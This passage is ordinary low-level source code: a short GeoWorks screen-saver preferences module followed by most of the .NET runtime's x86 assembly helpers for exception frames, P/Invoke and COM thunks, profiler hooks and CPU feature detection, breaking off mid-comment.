COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: MODULE: FILE: meltpref.asm AUTHOR: Adam de Boor, Dec 3, 1992 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 12/ 3/92 Initial revision DESCRIPTION: Saver-specific preferences for Melt driver. $Id: meltpref.asm,v 1.1 97/04/04 16:45:56 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ; include the standard suspects include geos.def include geode.def include lmem.def include object.def include graphics.def include gstring.def UseLib ui.def include vmdef.def ; contains macros that allow us to create a ; VM file in this way. UseLib config.def ; Most objects we use come from here UseLib saver.def ; Might need some of the constants from ; here, though we can't use objects from here. ; ; Define the VMAttributes used for the file. ; ATTRIBUTES equ PREFVM_ATTRIBUTES ; ; Include constants from Melt, the saver, for use in our objects. ; include ../melt.def ; ; Now the object tree. ; include meltpref.rdef ; ; Define the map block for the VM file, which Preferences will use to get ; to the root of the tree we hold. ; DefVMBlock MapBlock PrefVMMapBlock <RootObject> EndVMBlock MapBlock
; Licensed to the .NET Foundation under one or more agreements. ; The .NET Foundation licenses this file to you under the MIT license. ; See the LICENSE file in the project root for more information. ; ==++== ; ; ; ==--== ; ; FILE: asmhelpers.asm ; ; *** NOTE: If you make changes to this file, propagate the changes to ; asmhelpers.s in this directory ; ; ; ====================================================================================== .586 .model flat include asmconstants.inc assume fs: nothing option casemap:none .code EXTERN __imp__RtlUnwind@16:DWORD ifdef _DEBUG EXTERN _HelperMethodFrameConfirmState@20:PROC endif EXTERN _StubRareEnableWorker@4:PROC ifdef FEATURE_COMINTEROP EXTERN _StubRareDisableHRWorker@4:PROC endif ; FEATURE_COMINTEROP EXTERN _StubRareDisableTHROWWorker@4:PROC EXTERN __imp__TlsGetValue@4:DWORD TlsGetValue PROTO stdcall ifdef FEATURE_HIJACK EXTERN _OnHijackWorker@4:PROC endif ;FEATURE_HIJACK EXTERN _COMPlusFrameHandler:PROC ifdef FEATURE_COMINTEROP EXTERN _COMPlusFrameHandlerRevCom:PROC endif ; FEATURE_COMINTEROP EXTERN __alloca_probe:PROC EXTERN _NDirectImportWorker@4:PROC EXTERN _UMThunkStubRareDisableWorker@8:PROC EXTERN _VarargPInvokeStubWorker@12:PROC EXTERN _GenericPInvokeCalliStubWorker@12:PROC ifndef FEATURE_CORECLR EXTERN _CopyCtorCallStubWorker@4:PROC endif EXTERN _PreStubWorker@8:PROC ifdef FEATURE_COMINTEROP EXTERN _CLRToCOMWorker@8:PROC endif EXTERN _ExternalMethodFixupWorker@16:PROC ifdef FEATURE_PREJIT EXTERN _VirtualMethodFixupWorker@8:PROC EXTERN _StubDispatchFixupWorker@16:PROC endif ifdef FEATURE_COMINTEROP EXTERN _ComPreStubWorker@8:PROC endif ifdef FEATURE_READYTORUN EXTERN _DynamicHelperWorker@20:PROC endif EXTERN @JIT_InternalThrow@4:PROC EXTERN @ProfileEnter@8:PROC EXTERN @ProfileLeave@8:PROC EXTERN @ProfileTailcall@8:PROC UNREFERENCED macro arg local unref unref equ size arg endm FASTCALL_FUNC macro FuncName,cbArgs FuncNameReal EQU @&FuncName&@&cbArgs FuncNameReal proc public endm FASTCALL_ENDFUNC macro FuncNameReal endp endm ifdef FEATURE_COMINTEROP ifdef _DEBUG CPFH_STACK_SIZE equ SIZEOF_FrameHandlerExRecord + STACK_OVERWRITE_BARRIER_SIZE*4 else ; _DEBUG CPFH_STACK_SIZE equ SIZEOF_FrameHandlerExRecord endif ; _DEBUG PUSH_CPFH_FOR_COM macro trashReg, pFrameBaseReg, pFrameOffset ; ; Setup the FrameHandlerExRecord ; push dword ptr [pFrameBaseReg + pFrameOffset] push _COMPlusFrameHandlerRevCom mov trashReg, fs:[0] push trashReg mov fs:[0], esp ifdef _DEBUG mov trashReg, STACK_OVERWRITE_BARRIER_SIZE @@: push STACK_OVERWRITE_BARRIER_VALUE dec trashReg jnz @B endif ; _DEBUG endm ; PUSH_CPFH_FOR_COM POP_CPFH_FOR_COM macro trashReg ; ; Unlink FrameHandlerExRecord from FS:0 chain ; ifdef _DEBUG add esp, STACK_OVERWRITE_BARRIER_SIZE*4 endif mov trashReg, [esp + OFFSETOF__FrameHandlerExRecord__m_ExReg__Next] mov fs:[0], trashReg add esp, SIZEOF_FrameHandlerExRecord endm ; POP_CPFH_FOR_COM endif ; FEATURE_COMINTEROP ; ; FramedMethodFrame prolog ; STUB_PROLOG macro ; push ebp-frame push ebp mov ebp,esp ; save CalleeSavedRegisters push ebx push esi push edi ; push ArgumentRegisters push ecx push edx endm ; ; FramedMethodFrame epilog ; STUB_EPILOG macro ; pop ArgumentRegisters pop edx pop ecx ; pop CalleeSavedRegisters pop edi pop esi pop ebx pop ebp endm ; ; FramedMethodFrame epilog ; STUB_EPILOG_RETURN macro ; pop ArgumentRegisters add esp, 8 ; pop CalleeSavedRegisters pop edi pop esi pop ebx pop ebp endm STUB_PROLOG_2_HIDDEN_ARGS macro ; ; The stub arguments are where we want to setup the TransitionBlock. We will ; setup the TransitionBlock later once we can trash them ; ; push ebp-frame ; push ebp ; mov ebp,esp ; save CalleeSavedRegisters ; push ebx push esi push edi ; push ArgumentRegisters push ecx push edx mov ecx, [esp + 4*4] mov edx, [esp + 5*4] ; Setup up proper EBP frame now that the stub arguments can be trashed mov [esp + 4*4],ebx mov [esp + 5*4],ebp lea ebp, [esp + 5*4] endm ResetCurrentContext PROC stdcall public LOCAL ctrlWord:WORD ; Clear the direction flag (used for rep instructions) cld fnstcw ctrlWord fninit ; reset FPU and ctrlWord, 0f00h ; preserve precision and rounding control or ctrlWord, 007fh ; mask all exceptions fldcw ctrlWord ; preserve precision control RET ResetCurrentContext ENDP ;Incoming: ; ESP+4: Pointer to buffer to which FPU state should be saved _CaptureFPUContext@4 PROC public mov ecx, [esp+4] fnstenv [ecx] retn 4 _CaptureFPUContext@4 ENDP ; Incoming: ; ESP+4: Pointer to buffer from which FPU state should be restored _RestoreFPUContext@4 PROC public mov ecx, [esp+4] fldenv [ecx] retn 4 _RestoreFPUContext@4 ENDP ; Register CLR exception handlers defined on the C++ side with SAFESEH. ; Note that these directives must be in a file that defines symbols that will be used during linking, ; otherwise it's possible that the resulting .obj will completly be ignored by the linker and these ; directives will have no effect. COMPlusFrameHandler proto c .safeseh COMPlusFrameHandler COMPlusNestedExceptionHandler proto c .safeseh COMPlusNestedExceptionHandler FastNExportExceptHandler proto c .safeseh FastNExportExceptHandler UMThunkPrestubHandler proto c .safeseh UMThunkPrestubHandler ifdef FEATURE_COMINTEROP COMPlusFrameHandlerRevCom proto c .safeseh COMPlusFrameHandlerRevCom endif ; Note that RtlUnwind trashes EBX, ESI and EDI, so this wrapper preserves them CallRtlUnwind PROC stdcall public USES ebx esi edi, pEstablisherFrame :DWORD, callback :DWORD, pExceptionRecord :DWORD, retVal :DWORD push retVal push pExceptionRecord push callback push pEstablisherFrame call dword ptr [__imp__RtlUnwind@16] ; return 1 push 1 pop eax RET CallRtlUnwind ENDP _ResumeAtJitEHHelper@4 PROC public mov edx, [esp+4] ; edx = pContext (EHContext*) mov ebx, [edx+EHContext_Ebx] mov esi, [edx+EHContext_Esi] mov edi, [edx+EHContext_Edi] mov ebp, [edx+EHContext_Ebp] mov ecx, [edx+EHContext_Esp] mov eax, [edx+EHContext_Eip] mov [ecx-4], eax mov eax, [edx+EHContext_Eax] mov [ecx-8], eax mov eax, [edx+EHContext_Ecx] mov [ecx-0Ch], eax mov eax, [edx+EHContext_Edx] mov [ecx-10h], eax lea esp, [ecx-10h] pop edx pop ecx pop eax ret _ResumeAtJitEHHelper@4 ENDP ; int __stdcall CallJitEHFilterHelper(size_t *pShadowSP, EHContext *pContext); ; on entry, only the pContext->Esp, Ebx, Esi, Edi, Ebp, and Eip are initialized _CallJitEHFilterHelper@8 PROC public push ebp mov ebp, esp push ebx push esi push edi pShadowSP equ [ebp+8] pContext equ [ebp+12] mov eax, pShadowSP ; Write esp-4 to the shadowSP slot test eax, eax jz DONE_SHADOWSP_FILTER mov ebx, esp sub ebx, 4 or ebx, SHADOW_SP_IN_FILTER_ASM mov [eax], ebx DONE_SHADOWSP_FILTER: mov edx, [pContext] mov eax, [edx+EHContext_Eax] mov ebx, [edx+EHContext_Ebx] mov esi, [edx+EHContext_Esi] mov edi, [edx+EHContext_Edi] mov ebp, [edx+EHContext_Ebp] call dword ptr [edx+EHContext_Eip] ifdef _DEBUG nop ; Indicate that it is OK to call managed code directly from here endif pop edi pop esi pop ebx pop ebp ; don't use 'leave' here, as ebp as been trashed retn 8 _CallJitEHFilterHelper@8 ENDP ; void __stdcall CallJITEHFinallyHelper(size_t *pShadowSP, EHContext *pContext); ; on entry, only the pContext->Esp, Ebx, Esi, Edi, Ebp, and Eip are initialized _CallJitEHFinallyHelper@8 PROC public push ebp mov ebp, esp push ebx push esi push edi pShadowSP equ [ebp+8] pContext equ [ebp+12] mov eax, pShadowSP ; Write esp-4 to the shadowSP slot test eax, eax jz DONE_SHADOWSP_FINALLY mov ebx, esp sub ebx, 4 mov [eax], ebx DONE_SHADOWSP_FINALLY: mov edx, [pContext] mov eax, [edx+EHContext_Eax] mov ebx, [edx+EHContext_Ebx] mov esi, [edx+EHContext_Esi] mov edi, [edx+EHContext_Edi] mov ebp, [edx+EHContext_Ebp] call dword ptr [edx+EHContext_Eip] ifdef _DEBUG nop ; Indicate that it is OK to call managed code directly from here endif ; Reflect the changes to the context and only update non-volatile registers. ; This will be used later to update REGDISPLAY mov edx, [esp+12+12] mov [edx+EHContext_Ebx], ebx mov [edx+EHContext_Esi], esi mov [edx+EHContext_Edi], edi mov [edx+EHContext_Ebp], ebp pop edi pop esi pop ebx pop ebp ; don't use 'leave' here, as ebp as been trashed retn 8 _CallJitEHFinallyHelper@8 ENDP _GetSpecificCpuTypeAsm@0 PROC public push ebx ; ebx is trashed by the cpuid calls ; See if the chip supports CPUID pushfd pop ecx ; Get the EFLAGS mov eax, ecx ; Save for later testing xor ecx, 200000h ; Invert the ID bit. push ecx popfd ; Save the updated flags. pushfd pop ecx ; Retrieve the updated flags xor ecx, eax ; Test if it actually changed (bit set means yes) push eax popfd ; Restore the flags test ecx, 200000h jz Assume486 xor eax, eax cpuid test eax, eax jz Assume486 ; brif CPUID1 not allowed mov eax, 1 cpuid ; filter out everything except family and model ; Note that some multi-procs have different stepping number for each proc and eax, 0ff0h jmp CpuTypeDone Assume486: mov eax, 0400h ; report 486 CpuTypeDone: pop ebx retn _GetSpecificCpuTypeAsm@0 ENDP ; DWORD __stdcall GetSpecificCpuFeaturesAsm(DWORD *pInfo); _GetSpecificCpuFeaturesAsm@4 PROC public push ebx ; ebx is trashed by the cpuid calls ; See if the chip supports CPUID pushfd pop ecx ; Get the EFLAGS mov eax, ecx ; Save for later testing xor ecx, 200000h ; Invert the ID bit. push ecx popfd ; Save the updated flags. pushfd pop ecx ; Retrieve the updated flags xor ecx, eax ; Test if it actually changed (bit set means yes) push eax popfd ; Restore the flags test ecx, 200000h jz CpuFeaturesFail xor eax, eax cpuid test eax, eax jz CpuFeaturesDone ; br if CPUID1 not allowed mov eax, 1 cpuid mov eax, edx ; return all feature flags mov edx, [esp+8] test edx, edx jz CpuFeaturesDone mov [edx],ebx ; return additional useful information jmp CpuFeaturesDone CpuFeaturesFail: xor eax, eax ; Nothing to report CpuFeaturesDone: pop ebx retn 4 _GetSpecificCpuFeaturesAsm@4 ENDP ;----------------------------------------------------------------------- ; The out-of-line portion of the code to enable preemptive GC. ; After the work is done, the code jumps back to the "pRejoinPoint" ; which should be emitted right after the inline part is generated. ; ; Assumptions: ; ebx = Thread ; Preserves ; all registers except ecx. ; ;----------------------------------------------------------------------- _StubRareEnable proc public push eax push edx push ebx call _StubRareEnableWorker@4 pop edx pop eax retn _StubRareEnable ENDP ifdef FEATURE_COMINTEROP _StubRareDisableHR proc public push edx push ebx ; Thread call _StubRareDisableHRWorker@4 pop edx retn _StubRareDisableHR ENDP endif ; FEATURE_COMINTEROP _StubRareDisableTHROW proc public push eax push edx push ebx ; Thread call _StubRareDisableTHROWWorker@4 pop edx pop eax retn _StubRareDisableTHROW endp InternalExceptionWorker proc public pop edx ; recover RETADDR add esp, eax ; release caller's args push edx ; restore RETADDR jmp @JIT_InternalThrow@4 InternalExceptionWorker endp ; EAX -> number of caller arg bytes on the stack that we must remove before going ; to the throw helper, which assumes the stack is clean. _ArrayOpStubNullException proc public ; kFactorReg and kTotalReg could not have been modified, but let's pop ; them anyway for consistency and to avoid future bugs. pop esi pop edi mov ecx, CORINFO_NullReferenceException_ASM jmp InternalExceptionWorker _ArrayOpStubNullException endp ; EAX -> number of caller arg bytes on the stack that we must remove before going ; to the throw helper, which assumes the stack is clean. _ArrayOpStubRangeException proc public ; kFactorReg and kTotalReg could not have been modified, but let's pop ; them anyway for consistency and to avoid future bugs. pop esi pop edi mov ecx, CORINFO_IndexOutOfRangeException_ASM jmp InternalExceptionWorker _ArrayOpStubRangeException endp ; EAX -> number of caller arg bytes on the stack that we must remove before going ; to the throw helper, which assumes the stack is clean. _ArrayOpStubTypeMismatchException proc public ; kFactorReg and kTotalReg could not have been modified, but let's pop ; them anyway for consistency and to avoid future bugs. pop esi pop edi mov ecx, CORINFO_ArrayTypeMismatchException_ASM jmp InternalExceptionWorker _ArrayOpStubTypeMismatchException endp ;------------------------------------------------------------------------------ ; This helper routine enregisters the appropriate arguments and makes the ; actual call. ;------------------------------------------------------------------------------ ; void STDCALL CallDescrWorkerInternal(CallDescrWorkerParams * pParams) CallDescrWorkerInternal PROC stdcall public USES EBX, pParams: DWORD mov ebx, pParams mov ecx, [ebx+CallDescrData__numStackSlots] mov eax, [ebx+CallDescrData__pSrc] ; copy the stack test ecx, ecx jz donestack lea eax, [eax+4*ecx-4] ; last argument push dword ptr [eax] dec ecx jz donestack sub eax, 4 push dword ptr [eax] dec ecx jz donestack stackloop: sub eax, 4 push dword ptr [eax] dec ecx jnz stackloop donestack: ; now we must push each field of the ArgumentRegister structure mov eax, [ebx+CallDescrData__pArgumentRegisters] mov edx, dword ptr [eax] mov ecx, dword ptr [eax+4] call [ebx+CallDescrData__pTarget] ifdef _DEBUG nop ; This is a tag that we use in an assert. Fcalls expect to ; be called from Jitted code or from certain blessed call sites like ; this one. (See HelperMethodFrame::InsureInit) endif ; Save FP return value if necessary mov ecx, [ebx+CallDescrData__fpReturnSize] cmp ecx, 0 je ReturnsInt cmp ecx, 4 je ReturnsFloat cmp ecx, 8 je ReturnsDouble ; unexpected jmp Epilog ReturnsInt: mov [ebx+CallDescrData__returnValue], eax mov [ebx+CallDescrData__returnValue+4], edx Epilog: RET ReturnsFloat: fstp dword ptr [ebx+CallDescrData__returnValue] ; Spill the Float return value jmp Epilog ReturnsDouble: fstp qword ptr [ebx+CallDescrData__returnValue] ; Spill the Double return value jmp Epilog CallDescrWorkerInternal endp ifdef _DEBUG ; int __fastcall HelperMethodFrameRestoreState(HelperMethodFrame*, struct MachState *) FASTCALL_FUNC HelperMethodFrameRestoreState,8 mov eax, edx ; eax = MachState* else ; int __fastcall HelperMethodFrameRestoreState(struct MachState *) FASTCALL_FUNC HelperMethodFrameRestoreState,4 mov eax, ecx ; eax = MachState* endif ; restore the registers from the m_MachState stucture. Note that ; we only do this for register that where not saved on the stack ; at the time the machine state snapshot was taken. cmp [eax+MachState__pRetAddr], 0 ifdef _DEBUG jnz noConfirm push ebp push ebx push edi push esi push ecx ; HelperFrame* call _HelperMethodFrameConfirmState@20 ; on return, eax = MachState* cmp [eax+MachState__pRetAddr], 0 noConfirm: endif jz doRet lea edx, [eax+MachState__esi] ; Did we have to spill ESI cmp [eax+MachState__pEsi], edx jnz SkipESI mov esi, [edx] ; Then restore it SkipESI: lea edx, [eax+MachState__edi] ; Did we have to spill EDI cmp [eax+MachState__pEdi], edx jnz SkipEDI mov edi, [edx] ; Then restore it SkipEDI: lea edx, [eax+MachState__ebx] ; Did we have to spill EBX cmp [eax+MachState__pEbx], edx jnz SkipEBX mov ebx, [edx] ; Then restore it SkipEBX: lea edx, [eax+MachState__ebp] ; Did we have to spill EBP cmp [eax+MachState__pEbp], edx jnz SkipEBP mov ebp, [edx] ; Then restore it SkipEBP: doRet: xor eax, eax retn FASTCALL_ENDFUNC HelperMethodFrameRestoreState ifdef FEATURE_HIJACK ; A JITted method's return address was hijacked to return to us here. ; VOID OnHijackTripThread() OnHijackTripThread PROC stdcall public ; Don't fiddle with this unless you change HijackFrame::UpdateRegDisplay ; and HijackArgs push eax ; make room for the real return address (Eip) push ebp push eax push ecx push edx push ebx push esi push edi ; unused space for floating point state sub esp,12 push esp call _OnHijackWorker@4 ; unused space for floating point state add esp,12 pop edi pop esi pop ebx pop edx pop ecx pop eax pop ebp retn ; return to the correct place, adjusted by our caller OnHijackTripThread ENDP ; VOID OnHijackFPTripThread() OnHijackFPTripThread PROC stdcall public ; Don't fiddle with this unless you change HijackFrame::UpdateRegDisplay ; and HijackArgs push eax ; make room for the real return address (Eip) push ebp push eax push ecx push edx push ebx push esi push edi sub esp,12 ; save top of the floating point stack (there is return value passed in it) ; save full 10 bytes to avoid precision loss fstp tbyte ptr [esp] push esp call _OnHijackWorker@4 ; restore top of the floating point stack fld tbyte ptr [esp] add esp,12 pop edi pop esi pop ebx pop edx pop ecx pop eax pop ebp retn ; return to the correct place, adjusted by our caller OnHijackFPTripThread ENDP endif ; FEATURE_HIJACK ;========================================================================== ; This function is reached only via the embedded ImportThunkGlue code inside ; an NDirectMethodDesc. It's purpose is to load the DLL associated with an ; N/Direct method, then backpatch the DLL target into the methoddesc. ; ; Initial state: ; ; Preemptive GC is *enabled*: we are actually in an unmanaged state. ; ; ; [esp+...] - The *unmanaged* parameters to the DLL target. ; [esp+4] - Return address back into the JIT'ted code that made ; the DLL call. ; [esp] - Contains the "return address." Because we got here ; thru a call embedded inside a MD, this "return address" ; gives us an easy to way to find the MD (which was the ; whole purpose of the embedded call manuever.) ; ; ; ;========================================================================== _NDirectImportThunk@0 proc public ; Preserve argument registers push ecx push edx ; Invoke the function that does the real work. push eax call _NDirectImportWorker@4 ; Restore argument registers pop edx pop ecx ; If we got back from NDirectImportWorker, the MD has been successfully ; linked and "eax" contains the DLL target. Proceed to execute the ; original DLL call. jmp eax ; Jump to DLL target _NDirectImportThunk@0 endp ;========================================================================== ; The call in fixup precode initally points to this function. ; The pupose of this function is to load the MethodDesc and forward the call the prestub. _PrecodeFixupThunk@0 proc public pop eax ; Pop the return address. It points right after the call instruction in the precode. push esi push edi ; Inline computation done by FixupPrecode::GetMethodDesc() movzx esi,byte ptr [eax+2] ; m_PrecodeChunkIndex movzx edi,byte ptr [eax+1] ; m_MethodDescChunkIndex mov eax,dword ptr [eax+esi*8+3] lea eax,[eax+edi*4] pop edi pop esi jmp _ThePreStub@0 _PrecodeFixupThunk@0 endp ; LPVOID __stdcall CTPMethodTable__CallTargetHelper2( ; const void *pTarget, ; LPVOID pvFirst, ; LPVOID pvSecond) CTPMethodTable__CallTargetHelper2 proc stdcall public, pTarget : DWORD, pvFirst : DWORD, pvSecond : DWORD mov ecx, pvFirst mov edx, pvSecond call pTarget ifdef _DEBUG nop ; Mark this as a special call site that can ; directly call unmanaged code endif ret CTPMethodTable__CallTargetHelper2 endp ; LPVOID __stdcall CTPMethodTable__CallTargetHelper3( ; const void *pTarget, ; LPVOID pvFirst, ; LPVOID pvSecond, ; LPVOID pvThird) CTPMethodTable__CallTargetHelper3 proc stdcall public, pTarget : DWORD, pvFirst : DWORD, pvSecond : DWORD, pvThird : DWORD push pvThird mov ecx, pvFirst mov edx, pvSecond call pTarget ifdef _DEBUG nop ; Mark this as a special call site that can ; directly call unmanaged code endif ret CTPMethodTable__CallTargetHelper3 endp ; void __stdcall setFPReturn(int fpSize, INT64 retVal) _setFPReturn@12 proc public mov ecx, [esp+4] ; leave the return value in eax:edx if it is not the floating point case mov eax, [esp+8] mov edx, [esp+12] cmp ecx, 4 jz setFPReturn4 cmp ecx, 8 jnz setFPReturnNot8 fld qword ptr [esp+8] setFPReturnNot8: retn 12 setFPReturn4: fld dword ptr [esp+8] retn 12 _setFPReturn@12 endp ; void __stdcall getFPReturn(int fpSize, INT64 *pretVal) _getFPReturn@8 proc public mov ecx, [esp+4] mov eax, [esp+8] cmp ecx, 4 jz getFPReturn4 cmp ecx, 8 jnz getFPReturnNot8 fstp qword ptr [eax] getFPReturnNot8: retn 8 getFPReturn4: fstp dword ptr [eax] retn 8 _getFPReturn@8 endp ; VOID __cdecl UMThunkStubRareDisable() ;<TODO> ; @todo: this is very similar to StubRareDisable ;</TODO> _UMThunkStubRareDisable proc public push eax push ecx push eax ; Push the UMEntryThunk push ecx ; Push thread call _UMThunkStubRareDisableWorker@8 pop ecx pop eax retn _UMThunkStubRareDisable endp ; void __stdcall JIT_ProfilerEnterLeaveTailcallStub(UINT_PTR ProfilerHandle) _JIT_ProfilerEnterLeaveTailcallStub@4 proc public ; this function must preserve all registers, including scratch retn 4 _JIT_ProfilerEnterLeaveTailcallStub@4 endp ; ; Used to get the current instruction pointer value ; ; UINT_PTR __stdcall GetCurrentIP(void); _GetCurrentIP@0 proc public mov eax, [esp] retn _GetCurrentIP@0 endp ; LPVOID __stdcall GetCurrentSP(void); _GetCurrentSP@0 proc public mov eax, esp retn _GetCurrentSP@0 endp ; void __stdcall ProfileEnterNaked(FunctionIDOrClientID functionIDOrClientID); _ProfileEnterNaked@4 proc public push esi push edi ; ; Push in reverse order the fields of ProfilePlatformSpecificData ; push dword ptr [esp+8] ; EIP of the managed code that we return to. -- struct ip field push ebp ; Methods are always EBP framed add [esp], 8 ; Skip past the return IP, straight to the stack args that were passed to our caller ; Skip past saved EBP value: 4 bytes ; - plus return address from caller's caller: 4 bytes ; ; Assuming Foo() calls Bar(), and Bar() calls ProfileEnterNake() as illustrated (stack ; grows up). We want to get what Foo() passed on the stack to Bar(), so we need to pass ; the return address from caller's caller which is Foo() in this example. ; ; ProfileEnterNaked() ; Bar() ; Foo() ; ; [ESP] is now the ESP of caller's caller pointing to the arguments to the caller. push ecx ; -- struct ecx field push edx ; -- struct edx field push eax ; -- struct eax field push 0 ; Create buffer space in the structure -- struct floatingPointValuePresent field push 0 ; Create buffer space in the structure -- struct floatBuffer field push 0 ; Create buffer space in the structure -- struct doubleBuffer2 field push 0 ; Create buffer space in the structure -- struct doubleBuffer1 field push 0 ; Create buffer space in the structure -- struct functionId field mov edx, esp ; the address of the Platform structure mov ecx, [esp+52]; The functionIDOrClientID parameter that was pushed to FunctionEnter ; Skip past ProfilePlatformSpecificData we pushed: 40 bytes ; - plus saved edi, esi : 8 bytes ; - plus return address from caller: 4 bytes call @ProfileEnter@8 add esp, 20 ; Remove buffer space pop eax pop edx pop ecx add esp, 8 ; Remove buffer space pop edi pop esi retn 4 _ProfileEnterNaked@4 endp ; void __stdcall ProfileLeaveNaked(FunctionIDOrClientID functionIDOrClientID); _ProfileLeaveNaked@4 proc public push ecx ; We do not strictly need to save ECX, however ; emitNoGChelper(CORINFO_HELP_PROF_FCN_LEAVE) returns true in the JITcompiler push edx ; Return value may be in EAX:EDX ; ; Push in reverse order the fields of ProfilePlatformSpecificData ; push dword ptr [esp+8] ; EIP of the managed code that we return to. -- struct ip field push ebp ; Methods are always EBP framed add [esp], 8 ; Skip past the return IP, straight to the stack args that were passed to our caller ; Skip past saved EBP value: 4 bytes ; - plus return address from caller's caller: 4 bytes ; ; Assuming Foo() calls Bar(), and Bar() calls ProfileEnterNake() as illustrated (stack ; grows up). We want to get what Foo() passed on the stack to Bar(), so we need to pass ; the return address from caller's caller which is Foo() in this example. ; ; ProfileEnterNaked() ; Bar() ; Foo() ; ; [ESP] is now the ESP of caller's caller pointing to the arguments to the caller. push ecx ; -- struct ecx field push edx ; -- struct edx field push eax ; -- struct eax field ; Check if we need to save off any floating point registers fstsw ax and ax, 3800h ; Check the top-of-fp-stack bits cmp ax, 0 ; If non-zero, we have something to save jnz SaveFPReg push 0 ; Create buffer space in the structure -- struct floatingPointValuePresent field push 0 ; Create buffer space in the structure -- struct floatBuffer field push 0 ; Create buffer space in the structure -- struct doubleBuffer2 field push 0 ; Create buffer space in the structure -- struct doubleBuffer1 field jmp Continue SaveFPReg: push 1 ; mark that a float value is present -- struct floatingPointValuePresent field sub esp, 4 ; Make room for the FP value fst dword ptr [esp] ; Copy the FP value to the buffer as a float -- struct floatBuffer field sub esp, 8 ; Make room for the FP value fstp qword ptr [esp] ; Copy FP values to the buffer as a double -- struct doubleBuffer1 and doubleBuffer2 fields Continue: push 0 ; Create buffer space in the structure -- struct functionId field mov edx, esp ; the address of the Platform structure mov ecx, [esp+52]; The clientData that was pushed to FunctionEnter ; Skip past ProfilePlatformSpecificData we pushed: 40 bytes ; - plus saved edx, ecx : 8 bytes ; - plus return address from caller: 4 bytes call @ProfileLeave@8 ; ; Now see if we have to restore and floating point registers ; cmp [esp + 16], 0 jz NoRestore fld qword ptr [esp + 4] NoRestore: add esp, 20 ; Remove buffer space pop eax add esp, 16 ; Remove buffer space pop edx pop ecx retn 4 _ProfileLeaveNaked@4 endp ; void __stdcall ProfileTailcallNaked(FunctionIDOrClientID functionIDOrClientID); _ProfileTailcallNaked@4 proc public push ecx push edx ; ; Push in reverse order the fields of ProfilePlatformSpecificData ; push dword ptr [esp+8] ; EIP of the managed code that we return to. -- struct ip field push ebp ; Methods are always EBP framed add [esp], 8 ; Skip past the return IP, straight to the stack args that were passed to our caller ; Skip past saved EBP value: 4 bytes ; - plus return address from caller's caller: 4 bytes ; ; Assuming Foo() calls Bar(), and Bar() calls ProfileEnterNake() as illustrated (stack ; grows up). We want to get what Foo() passed on the stack to Bar(), so we need to pass ; the return address from caller's caller which is Foo() in this example. ; ; ProfileEnterNaked() ; Bar() ; Foo() ; ; [ESP] is now the ESP of caller's caller pointing to the arguments to the caller. push ecx ; -- struct ecx field push edx ; -- struct edx field push eax ; -- struct eax field push 0 ; Create buffer space in the structure -- struct floatingPointValuePresent field push 0 ; Create buffer space in the structure -- struct floatBuffer field push 0 ; Create buffer space in the structure -- struct doubleBuffer2 field push 0 ; Create buffer space in the structure -- struct doubleBuffer1 field push 0 ; Create buffer space in the structure -- struct functionId field mov edx, esp ; the address of the Platform structure mov ecx, [esp+52]; The clientData that was pushed to FunctionEnter ; Skip past ProfilePlatformSpecificData we pushed: 40 bytes ; - plus saved edx, ecx : 8 bytes ; - plus return address from caller: 4 bytes call @ProfileTailcall@8 add esp, 40 ; Remove buffer space pop edx pop ecx retn 4 _ProfileTailcallNaked@4 endp ;========================================================================== ; Invoked for vararg forward P/Invoke calls as a stub. ; Except for secret return buffer, arguments come on the stack so EDX is available as scratch. ; EAX - the NDirectMethodDesc ; ECX - may be return buffer address ; [ESP + 4] - the VASigCookie ; _VarargPInvokeStub@0 proc public ; EDX <- VASigCookie mov edx, [esp + 4] ; skip retaddr mov edx, [edx + VASigCookie__StubOffset] test edx, edx jz GoCallVarargWorker ; --------------------------------------- ; EAX contains MD ptr for the IL stub jmp edx GoCallVarargWorker: ; ; MD ptr in EAX, VASigCookie ptr at [esp+4] ; STUB_PROLOG mov esi, esp ; save pMD push eax push eax ; pMD push dword ptr [esi + 4*7] ; pVaSigCookie push esi ; pTransitionBlock call _VarargPInvokeStubWorker@12 ; restore pMD pop eax STUB_EPILOG ; jump back to the helper - this time it won't come back here as the stub already exists jmp _VarargPInvokeStub@0 _VarargPInvokeStub@0 endp ;========================================================================== ; Invoked for marshaling-required unmanaged CALLI calls as a stub. ; EAX - the unmanaged target ; ECX, EDX - arguments ; [ESP + 4] - the VASigCookie ; _GenericPInvokeCalliHelper@0 proc public ; save the target push eax ; EAX <- VASigCookie mov eax, [esp + 8] ; skip target and retaddr mov eax, [eax + VASigCookie__StubOffset] test eax, eax jz GoCallCalliWorker ; --------------------------------------- push eax ; stack layout at this point: ; ; | ... | ; | stack arguments | ESP + 16 ; +----------------------+ ; | VASigCookie* | ESP + 12 ; +----------------------+ ; | return address | ESP + 8 ; +----------------------+ ; | CALLI target address | ESP + 4 ; +----------------------+ ; | stub entry point | ESP + 0 ; ------------------------ ; remove VASigCookie from the stack mov eax, [esp + 8] mov [esp + 12], eax ; move stub entry point below the RA mov eax, [esp] mov [esp + 8], eax ; load EAX with the target address pop eax pop eax ; stack layout at this point: ; ; | ... | ; | stack arguments | ESP + 8 ; +----------------------+ ; | return address | ESP + 4 ; +----------------------+ ; | stub entry point | ESP + 0 ; ------------------------ ; CALLI target address is in EAX ret GoCallCalliWorker: ; the target is on the stack and will become m_Datum of PInvokeCalliFrame ; call the stub generating worker pop eax ; ; target ptr in EAX, VASigCookie ptr in EDX ; STUB_PROLOG mov esi, esp ; save target push eax push eax ; unmanaged target push dword ptr [esi + 4*7] ; pVaSigCookie (first stack argument) push esi ; pTransitionBlock call _GenericPInvokeCalliStubWorker@12 ; restore target pop eax STUB_EPILOG ; jump back to the helper - this time it won't come back here as the stub already exists jmp _GenericPInvokeCalliHelper@0 _GenericPInvokeCalliHelper@0 endp ifdef FEATURE_COMINTEROP ;========================================================================== ; This is a fast alternative to CallDescr* tailored specifically for ; COM to CLR calls. Stack arguments don't come in a continuous buffer ; and secret argument can be passed in EAX. ; ; extern "C" ARG_SLOT __fastcall COMToCLRDispatchHelper( ; INT_PTR dwArgECX, ; ecx ; INT_PTR dwArgEDX, ; edx ; PCODE pTarget, ; [esp + 4] ; PCODE pSecretArg, ; [esp + 8] ; INT_PTR 